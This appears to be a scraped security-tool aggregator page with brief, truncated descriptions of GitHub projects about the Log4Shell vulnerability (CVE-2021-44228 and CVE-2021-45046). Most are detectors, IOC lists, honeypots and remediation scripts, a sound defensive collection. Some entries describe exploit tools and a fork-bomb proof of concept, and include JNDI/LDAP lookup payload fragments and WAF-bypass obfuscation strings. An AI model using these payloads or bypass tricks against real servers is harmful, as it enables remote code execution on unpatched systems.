fail2ban-log4j

fail2ban-log4j fail2ban 过滤器，用于捕获针对 log4j CVE-2021-44228 的攻击 安装 将此文件复制到您的 fail2ban filter.d 目录，该目录通常类似于 /etc/fail2ban/filter.d 或类似的位置。 在您的 jail.local 或 jail.conf 中添加一个 apache-jndi 部分： root@kitploit: apache-jndi enabled = true filter = apache-jndi port = http,https logpath =...

log4j-exploit-fork-bomb

log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: 利用 CVE-2021-44228 漏洞在远程服务器上启动 fork bomb 的示例 1. 创建攻击者的 LDAP 服务器（server 模块），该服务器将提供字符串和代码的表示（payload 模块） 2. 创建受害者示例（victim 模块），并将字符串传递给 Log4j JRE 版本 = 6u211, 7u201, 8u191 和 11.0.1 root@kitploit: $jndi:ldap://127.0.0.1:1389/anything...

Log4Shell_CVE-2021-44228_related_attacks_IOCs

Log4Shell（CVE-2021-44228）related attacks IOCs Las IPs de origen intentan ataques usando Apache Log4j RCE, e incluyen una gran proporción de nodos Tor. Para más detalles, consulte Attack-IP.md Para los IOCs de malware, botnets, etc., propagados mediante la vulnerabilidad log4j, consulte IOC-C2.md...

CVE-2021-44228

概述 本仓库包含OpenIOC规则，用于协助搜索与Apache Log4j 2远程代码执行漏洞（CVE-2021-44228）相关的入侵指标。 这些规则被视为狩猎规则，因此检测效果会因组织而异。通过特定环境调优，这些规则可能适合部署为告警规则。规则分为两类： execution - 提供证据表明系统上 此前已执行 过可能与CVE相关操作（如可疑网络连接、URL请求、进程执行、文件写入）的IOC presence - 提供证据表明系统上存在活跃运行的进程或文件（与此CVE相关）的IOC...

hka-seminar-log4shell

Seminararbeit - Log4Shell漏洞演示 CVE-2021-44228 安全提示 本仓库仅供教育和演示用途 ，用于安全相关的研讨会论文。请勿在生产环境中或未经明确许可的情况下对系统使用此代码。该构建旨在提升安全意识，并展示当看似无害的功能（如日志记录、名称解析和动态类加载）组合在一起时，可能产生复杂漏洞。 目录 1. 项目描述 1.1 研讨会论文目标 1.2 演示概述 2. 什么是 Log4Shell？ 3. 技术组件详解 3.1 Log4j - 工作原理 3.2 JNDI - 查找机制 3.3 LDAP - 结构与作用 3.4 Log4Shell 一般流程 4...

Log4j-CVE-Detect

Log4J-CVE-Detect 此仓库包含一组 YARA 规则，通过查找受影响版本中出现的若干特征，来检测易受 CVE-2021-44228、CVE-2021-45046 和/或 CVE-2021-45105 影响的 log4j 版本。 此工具可递归处理 Docker 镜像、系统软件包、文件系统镜像，甚至安装介质等二进制文件。有关受支持文件格式的完整列表，请参阅"工作原理"一节。 CVE-2021-44228 查找 JndiManager 构造函数的特征（ 2.15.0）。 CVE-2021-45046 查找未导入 JndiManager 的 Interpolator 类（...

log4jcheck

Log4j CVE-2021-44228 检测器 多线程检测 URL 列表，支持 POST 和 GET 请求并附带参数。 大量灵感来源于 NortwaveSecurity 版本。 设置 待检测的 URL 待检测的 URL 列表应采用以下格式（csv）： root@kitploit: description,URL,method,parameters production,example.com/login,POST,"username,password" staging,example.com/search,GET,"q" development,example.com/,GETNP,"...

how-to-check-patch-secure-log4j-CVE-2021-44228

如何检查 log4j CVE-2021-44228 什么是 log4j？ LOG4J 是一个基于 Java 的开源 Apache 软件，用于日志记录服务。 什么是 log4j 漏洞 CVE-2021-44228？ Log4j 漏洞允许通过在文本框中输入特定字符串来实现远程代码执行，影响所有使用 Log4j 库的程序。 攻击面 / 相关软件...

log4j_scanner_wrapper

Wrapper para escanear directorios de Linux en busca de la vulnerabilidad log4j CVE-2021-44228. Obtenido de https://github.com/logpresso/CVE-2021-44228-Scanner. El crédito es para ellos. Escanea los directorios principales más sospechosos y excluirá montajes nfs. Uso root@kitploit: bash...

Apache Log4j2 - Remote Code Injection

Apache Log4j2 Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations. id: CVE-2021-45046 info: name: Apache Log4j2 - Remote Code Injection author: ImNightmaree severity: critical description: Apache Log4j2 Thread Context Lookup Pattern is...

CVE-2021-45046-Info

CVE-2021-45046-信息 哦不，又一个漏洞 POC root@kitploit: $ctx:apiversion - %dyyyy-MM-dd HH:mm:ss %-5p %c1:%L - %mnolookups%n 链接 https://nvd.nist.gov/vuln/detail/CVE-2021-45046 https://www.datadoghq.com/blog/log4j-log4shell-vulnerability-overview-and-remediation/...

log4j-honeypot-flask

log4j-honeypot-flask Honeypot de red interna para detectar si un atacante o amenaza interna escanea tu red en busca de log4j CVE-2021-44228 Esto se puede instalar en una estación de trabajo o servidor, ya sea ejecutando el script Python app/app.py directamente necesitarás python3, Flask y Request...

Log4j-CVE-2021-44228-Remediation

Log4j CVE-2021-44228 修复方案 projectdescription 探索文档 » 查看演示 · 报告Bug · 请求功能 目录 1. 关于项目 构建工具 2. 开始使用 先决条件 安装 3. 使用说明 4. 路线图 5. 贡献 6. 许可证 7. 联系方式 8. 致谢 关于项目 这个PowerShell脚本旨在供任何希望在其环境中修复Log4j漏洞的人使用。它可以针对多台机器，并作为任务在全部或仅受影响的设备上远程运行。 回到顶部 构建工具 PowerShell 回到顶部 开始使用...

log4j-cve-2021-44228-sample

一个log4j漏洞利用示例 该仓库包含一个利用近期log4j漏洞的可行示例。它并不执行实际的远程代码执行，而是向您展示恶意攻击者可以多么轻易地让一个存在漏洞的应用程序调用其自身的ldap服务器。 本示例使用了 christophetd 创建的优秀log4j漏洞示例应用：https://github.com/christophetd/log4shell-vulnerable-app 说明 该漏洞利用了log4j的lookup功能，特别是jndi——它允许log4j从外部主机执行查询以获取数据输入。此漏洞可被利用来实现从记录环境中的敏感变量到远程执行代码等多种行为。...

CVE-2021-44228

CVE-2021-44228 Apache Log4j 2 受影响版本： 2.15.0-rc2 之前的 Log4j 版本存在可通过 ldap JNDI 解析器触发的远程代码执行漏洞。 前往漏洞复现 移步漏洞复现...

log4j-fix-CVE-2021-44228

log4j-fix-CVE-2021-44228 Windows 批处理脚本，用于扫描所有本地驱动器并修复受 log4jCVE-2021-44228 影响的 jar 文件 以下配置需要设置才能正常工作 SET ZIPPATH =C:\PROGRA1\7-Zip\7z.exe set RESULTFILENAM E=log4jimpactedjars set APPLYFIX =FALSE set LOG4JLOGDIR =%temp% ZIPPATH 应指向 7Zip 可执行文件 APPLYFIX TRUE - 扫描并修复所有 jar 文件 FALSE - 扫描并将所有受影响的 jar...

minecraft-log4j-honeypot

Minecraft Log4j 蜜罐 此蜜罐运行一个虚假的 Minecraft 服务器（1.7.2 至 1.16.5，不含快照版本），等待被利用。Payload 类被保存到 payloads/ 目录中。 要求 Go 语言 1.16+ 运行 原生运行 root@kitploit: git clone https://github.com/Adikso/minecraft-log4j-honeypot.git cd minecraft-log4j-honeypot go build . ./minecraft-log4j-honeypot 使用 Docker root@kitploit:...

log4j-shell-csw

Log4j 简易漏洞利用工具 针对 CVE-2021-44228 漏洞的概念验证型漏洞利用工具。 Log4j 用于记录安全和性能信息，影响范围覆盖超过 30 亿使用 Java 的设备，涉及各类消费级和企业级服务、网站和应用程序，以及医疗设备和配套系统。 注意：这不是“一键点击”型漏洞利用工具。初始触发载荷将被生成，但将其注入到合适位置（如 HTTP 头/聊天框/等）将由用户自行完成。 先决条件 python3 pip install -r requirements.txt 安装 jdk1.8.020 并将 bin 文件夹添加到环境变量 root@kitploit: usage: pyth...

Log4J-CVE-2021-44228-RCE

Log4J CVE-2021-44228 命令执行漏洞利用 交互式利用，直接运行：./exploit.sh...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 展示您的支持 - 如果喜欢内容请给个 ⭐️ | 在 Twitter 上分享 | 关注我 🐱‍💻 ✂️ 🤬 LOG4J Java 漏洞利用 - WAF 和补丁绕过技巧 📝 描述 CVE-2021-44228 作用于： log4j：2.0 大写查找 大写查找将传入的参数转换为大写。假定该值将是嵌套查找的结果。 $upper: 3. "::-" 表示法 $$::-j$::-n$::-d$::-i:$::-l...